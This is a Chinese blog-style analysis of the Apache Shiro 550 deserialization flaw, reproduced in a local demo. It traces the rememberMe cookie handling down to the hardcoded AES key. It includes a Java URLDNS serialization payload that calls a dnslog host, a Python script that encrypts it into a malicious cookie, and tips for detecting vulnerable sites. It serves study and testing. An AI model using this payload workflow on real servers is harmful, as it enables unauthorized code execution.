Shiro反序列化漏洞-shiro550流程分析

Shiro反序列化漏洞-shiro550流程分析

前言

今天开启Shiro反序列化漏洞的篇章,Shiro-550漏洞原因简单来说就是固定Key加密。Shriro算是前几年最好用的RCE漏洞之一,原因有很多:Shiro框架使用广泛、漏洞影响范围广;攻击payload经过AES加密等等。

Shiro550漏洞原理简介

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie(序列化→AES加密→Base64编码),在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞

关键因素:AES的加密密钥在Shiro的1.2.4之前版本中使用的是硬编码:kPH+bIxk5D2deZiIxcaaaA==,只要找到密钥后就可以通过构造恶意的序列化对象进行编码,加密,然后作为Cookie加密发送,服务端接收后会解密并触发反序列化漏洞。在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透。

漏洞复现

可以使用 P神写的 demo:https://github.com/phith0n/JavaThings

打开项目添加配置启动Tomcat,运行就得到了1.2.4版本的环境。

image-20230116194349269

输入账号密码,勾选Remember me字段,可以看到在返回包中有Set-Cookie:rememberMe=deleteMe字段,会返回一个Cookie,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell

image-20230116193959973

我们接下来看一下这个Cookie是怎么处理的,处理的这个类是CookieRememberMeManager,里面有rememberSerializedIdentity方法和getRememberedSerializedIdentity方法,分别对应序列化的操作和反序列化的操作 ,简单看一下rememberSerializedIdentity是怎么判断的

image-20230116195951044

先判断是否为 HTTP 请求,接着获取 cookie 中 rememberMe 的值,然后判断是否是 deleteMe,不是则判断是否是符合 base64 的编码长度,然后再对其进行 base64 解码,将解码结果返回。我们就想,base64解码后的下一步是什么,回头找一下哪里调用了这个函数。

我们找到AbstractRememberMeManager类的getRememberedPrincipals函数,获取到base64解码的数据过后,进了convertBytesToPrincipals这个函数

image-20230116201114800

convertBytesToPrincipals函数里就做了两步:1、解密 2、反序列化 这里我们就大概能知道它的原理,它最后肯定会进行一个反序列化操作,但这个字节是加密过的,所以我们需要先把它解密

image-20230116201548347

先来看一下它反序列化的地方,这里实际上就是调用了原生的反序列化。这里比方说它有CC1的依赖,这里就可以打漏洞。

image-20230116201901461

接着跟进一下decrypt函数,看看解密的方法。根据名字可以看到进行了先获取密钥的服务,判断不为空后解密,

image-20230116202226357

继续根据decrypt,它是个接口,看一下它的参数名:第一个叫encrypted,也就是加密的字段,第二个就叫decryptionKey,也就是说它应该是一个对称加密,用key去解密。那我们就可以重点区想一下它的key是什么东西,因为如果能获取这个key的话就能重新构造这个包了

image-20230116202441896

回到解密这里,发现它的Key值是通过函数去获取的

image-20230116202814133

跟进这个函数,发现这里是个常量

image-20230116202934986

继续跟进,看一下这个decryptionCipherKey是在哪里赋值的,发现是在setDecryptionCipherKey这个函数中操作的

image-20230116203349115

一路跟进

image-20230116203509029

发现是DEFAULT_CIPHER_KEY_BYTES这个常量

image-20230116203645725

终于找到了,可以看到这就是一个固定的值 kPH+bIxk5D2deZiIxcaaaA==

image-20230116203730609

也就是说Shiro1.2.4这个版本,所有跟RememberMe相关的加密采用的是一个固定的key值加密,它的算法就是AES算法,这里AES也是一个固定的算法。

利用的方式也很清晰:我们首先构造一个序列化的payload,然后把它用AES的key加密,再用base64加密,最后想办法让它走到正常的流程里面进行反序列化。

那首先想的是,payload用什么,打它的什么库。帖子里一般打得都是CC,因为Shiro里面看好像是自带依赖里面也是有CC。但实际上通过Maven Helper插件看,很多包都是test字段,就是说编译Maven真的运行的时候只会把compile和runtime打进来,test是不会打进来,像这个CC都是test里面的,也就是说实际上网站去打CC是打不到的。

image-20230116205515064

今天主要演示原理,打jdk自己的也就是URLDNS这条链子,这条链子已经很熟悉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap= new HashMap<URL,Integer>();
URL url = new URL("http://rbf5ok.ceye.io");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,111);
hashMap.put(url,1);

hashCodeField.set(url,-1);
serialize(hashMap);
// unserialize("ser.bin");
}

public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

编译完后生成的文件再通过AES算法加密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

得到加密后的字段

然后我们就可以在抓包,并且在后续的请求中替换掉Cookie中的RememberMe字段了,有一点需要注意:存在SessionID会判断SessionID,走不到RememberMe,所以我们要再请求包中删除掉SessionId字段。接着发送请求,Dnslog就可以收到请求了,证明这里成功调用了反序列化

image-20230117105055704

前面都是静态的查看,我们下个断点发现确实走到了Shiro的readObject函数中,下一步就是到了HashMap的readObject

image-20230117110109686

这也证明了Shiro的流程,原理相对是比较简单清晰的。

快速检测Shiro漏洞

结合挖洞经验,补充一下快速检测

快速检测key值是否正确的方式:

1.构造一个继承 PrincipalCollection 的序列化对象。

2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

如何判断存在shiro?:在 request 的 cookie 中写入 rememberMe=1 ,然后再来看 response 的 set-cookie 是否出现的 rememberMe=deleteMe

工具扫描:BurpShiroPassiveScan

后记

Shiro这个漏洞它的特点就是传递的是反序列化的数据,但是它天然的进行了加密,也就是说它不会有反序列化的标志,比如说天然的纯反序列化base64加密后是aced开头或者rO0AB开头。并且Shiro天然加密,每次的iv值也不一样,所以它是没有特征的,它只会传一个加密的字符串,一般的WAF也不好检测,但是目前为止我们只是发起一个DNS请求,进行简单地一个漏洞验证,但具体RCE的实现就要看打什么依赖,一般来说Shiro和Springboot漏洞可以结合使用,有时也会带上CC,后续的篇章会写Shiro打不同依赖的方法。